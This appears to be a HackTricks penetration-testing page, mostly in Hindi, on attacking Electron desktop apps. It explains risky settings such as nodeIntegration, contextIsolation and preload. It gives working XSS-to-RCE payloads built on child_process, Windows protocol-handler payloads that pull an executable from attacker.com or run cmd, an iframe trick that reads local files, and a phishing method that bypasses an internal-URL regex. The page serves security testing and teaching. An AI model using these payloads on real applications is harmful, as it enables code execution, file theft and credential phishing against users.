Electron Desktop Apps

Support HackTricks

परिचय

Electron एक स्थानीय बैकएंड (जिसमें NodeJS) और एक फ्रंटेंड (Chromium) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।

आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक .asar एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालने की आवश्यकता है:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron ऐप के स्रोत कोड में, packet.json के अंदर, आप main.js फ़ाइल पा सकते हैं जहाँ सुरक्षा कॉन्फ़िग्स सेट किए गए हैं।

{
"name": "standard-notes",
"main": "./app/index.js",

Electron के 2 प्रक्रिया प्रकार हैं:

  • मुख्य प्रक्रिया (NodeJS तक पूर्ण पहुंच है)

  • रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS की सीमित पहुंच होनी चाहिए)

एक रेंडरर प्रक्रिया एक ब्राउज़र विंडो होगी जो एक फ़ाइल लोड कर रही है:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Settings of the renderer process can be configured in the main process inside the main.js file. Some of the configurations will prevent the Electron application to get RCE or other vulnerabilities if the settings are correctly configured.

The electron application could access the device via Node apis although it can be configure to prevent it:

  • nodeIntegration - डिफ़ॉल्ट रूप से off है। यदि चालू है, तो यह renderer process से node सुविधाओं तक पहुँचने की अनुमति देता है।

  • contextIsolation - डिफ़ॉल्ट रूप से on है। यदि बंद है, तो मुख्य और renderer प्रक्रियाएँ अलग नहीं होती हैं।

  • preload - डिफ़ॉल्ट रूप से खाली है।

  • sandbox - डिफ़ॉल्ट रूप से बंद है। यह NodeJS द्वारा किए जा सकने वाले कार्यों को प्रतिबंधित करेगा।

  • Node Integration in Workers

  • nodeIntegrationInSubframes- डिफ़ॉल्ट रूप से off है।

  • यदि nodeIntegration सक्षम है, तो यह Electron एप्लिकेशन के भीतर ifram में लोड किए गए वेब पृष्ठों में Node.js APIs के उपयोग की अनुमति देगा।

  • यदि nodeIntegration अक्षम है, तो प्रीलोड ifram में लोड होंगे।

Example of configuration:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

कुछ RCE payloads यहाँ से:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

ट्रैफ़िक कैप्चर करें

स्टार्ट-मेन कॉन्फ़िगरेशन को संशोधित करें और एक प्रॉक्सी का उपयोग जोड़ें जैसे:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron स्थानीय कोड इंजेक्शन

यदि आप स्थानीय रूप से एक Electron ऐप को निष्पादित कर सकते हैं, तो यह संभव है कि आप इसे मनमाना जावास्क्रिप्ट कोड निष्पादित करने के लिए बना सकें। जानें कैसे:

RCE: XSS + nodeIntegration

यदि nodeIntegration को on पर सेट किया गया है, तो एक वेब पृष्ठ का जावास्क्रिप्ट आसानी से Node.js सुविधाओं का उपयोग कर सकता है बस require() को कॉल करके। उदाहरण के लिए, Windows पर calc एप्लिकेशन को निष्पादित करने का तरीका है:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

इस सेटिंग में निर्दिष्ट स्क्रिप्ट renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है, इसलिए इसके पास Node APIs तक असीमित पहुंच है:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

इसलिए, स्क्रिप्ट पृष्ठों पर node-features को निर्यात कर सकती है:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

यदि contextIsolation चालू है, तो यह काम नहीं करेगा

RCE: XSS + contextIsolation

contextIsolation वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों को पेश करता है ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है।

यदि संदर्भ अलग नहीं हैं, तो एक हमलावर कर सकता है:

  1. renderer में मनमाना JavaScript निष्पादित करें (XSS या बाहरी साइटों पर नेविगेट करना)

  2. बिल्ट-इन विधि को ओवरराइट करें जो प्रीलोड या Electron आंतरिक कोड में उपयोग की जाती है अपने फ़ंक्शन के लिए

  3. ओवरराइट की गई फ़ंक्शन का उपयोग करने के लिए ट्रिगर करें

  4. RCE?

बिल्ट-इन विधियों को ओवरराइट करने के लिए 2 स्थान हैं: प्रीलोड कोड में या Electron आंतरिक कोड में:

क्लिक इवेंट बायपास करें

यदि आप एक लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप एक सामान्य बाएं क्लिक के बजाय मध्य क्लिक करके उन्हें बायपास कर सकते हैं।

window.addEventListener('click', (e) => {

RCE via shell.openExternal

इस उदाहरण के बारे में अधिक जानकारी के लिए देखें https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 और https://benjamin-altpeter.de/shell-openexternal-dangers/

जब एक Electron डेस्कटॉप एप्लिकेशन को तैनात किया जाता है, तो nodeIntegration और contextIsolation के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित किया गया है कि क्लाइंट-साइड रिमोट कोड निष्पादन (RCE) जो प्रीलोड स्क्रिप्ट या मुख्य प्रक्रिया से Electron के मूल कोड को लक्षित करता है, इन सेटिंग्स के साथ प्रभावी रूप से रोका जाता है।

जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नई विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

ये लिस्नर्स डेस्कटॉप एप्लिकेशन द्वारा ओवरराइड किए जाते हैं ताकि इसका अपना बिजनेस लॉजिक लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि क्या एक नेविगेटेड लिंक को आंतरिक रूप से खोला जाना चाहिए या एक बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, openInternally के माध्यम से लिया जाता है। यदि यह फ़ंक्शन false लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोला जाना चाहिए, shell.openExternal फ़ंक्शन का उपयोग करते हुए।

यहां एक सरल प्स्यूडोकोड है:

Electron JS सुरक्षा सर्वोत्तम प्रथाएँ openExternal फ़ंक्शन के साथ अविश्वसनीय सामग्री को स्वीकार करने के खिलाफ सलाह देती हैं, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE की ओर ले जा सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल का समर्थन करते हैं जो RCE को ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, कोई इस संसाधन का संदर्भ ले सकता है, जिसमें इस भेद्यता का शोषण करने में सक्षम Windows प्रोटोकॉल के उदाहरण शामिल हैं।

Windows प्रोटोकॉल शोषण के उदाहरणों में शामिल हैं:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation

contextIsolation को अक्षम करना <webview> टैग के उपयोग की अनुमति देता है, जो <iframe> के समान है, स्थानीय फ़ाइलों को पढ़ने और निकालने के लिए। एक उदाहरण दिया गया है जो इस भेद्यता का लाभ उठाने का तरीका दिखाता है ताकि आंतरिक फ़ाइलों की सामग्री पढ़ी जा सके:

इसके अलावा, एक आंतरिक फ़ाइल पढ़ने के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने और एप्लिकेशन का लाभ उठाने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + पुराना Chromium

यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला chromium पुराना है और इसमें ज्ञात कमजोरियाँ हैं, तो इसे शोषित करना और XSS के माध्यम से RCE प्राप्त करना संभव हो सकता है। आप इस writeup में एक उदाहरण देख सकते हैं: https://blog.electrovolt.io/posts/discord-rce/

आंतरिक URL regex बायपास के माध्यम से XSS फ़िशिंग

मान लीजिए कि आपने एक XSS पाया है लेकिन आप RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते, तो आप इसे फ़िशिंग के माध्यम से क्रेडेंशियल्स चुराने के लिए उपयोग करने की कोशिश कर सकते हैं।

सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड में क्या होता है:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternally को कॉल करने से यह तय होगा कि link desktop window में खुली जाएगी क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, या इसे browser में 3rd party resource के रूप में खोला जाएगा।

यदि फ़ंक्शन द्वारा उपयोग किया गया regex bypasses के लिए vulnerable है (उदाहरण के लिए subdomains के डॉट्स को escape न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है एक नई विंडो खोलने के लिए जो हमलावर के बुनियादी ढांचे में स्थित होगी उपयोगकर्ता से क्रेडेंशियल्स मांगते हुए:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Tools

  • Electronegativity एक उपकरण है जो Electron-आधारित अनुप्रयोगों में गलत कॉन्फ़िगरेशन और सुरक्षा एंटी-पैटर्न की पहचान करता है।

  • Electrolint Electron अनुप्रयोगों के लिए एक ओपन सोर्स VS कोड प्लगइन है जो Electronegativity का उपयोग करता है।

  • nodejsscan कमजोर तृतीय पक्ष पुस्तकालयों की जांच करने के लिए

  • Electro.ng: आपको इसे खरीदना होगा

Labs

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s में आप कमजोर Electron अनुप्रयोगों का शोषण करने के लिए एक प्रयोगशाला पा सकते हैं।

कुछ कमांड जो आपको प्रयोगशाला में मदद करेंगे:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

संदर्भ

HackTricks का समर्थन करें

Last updated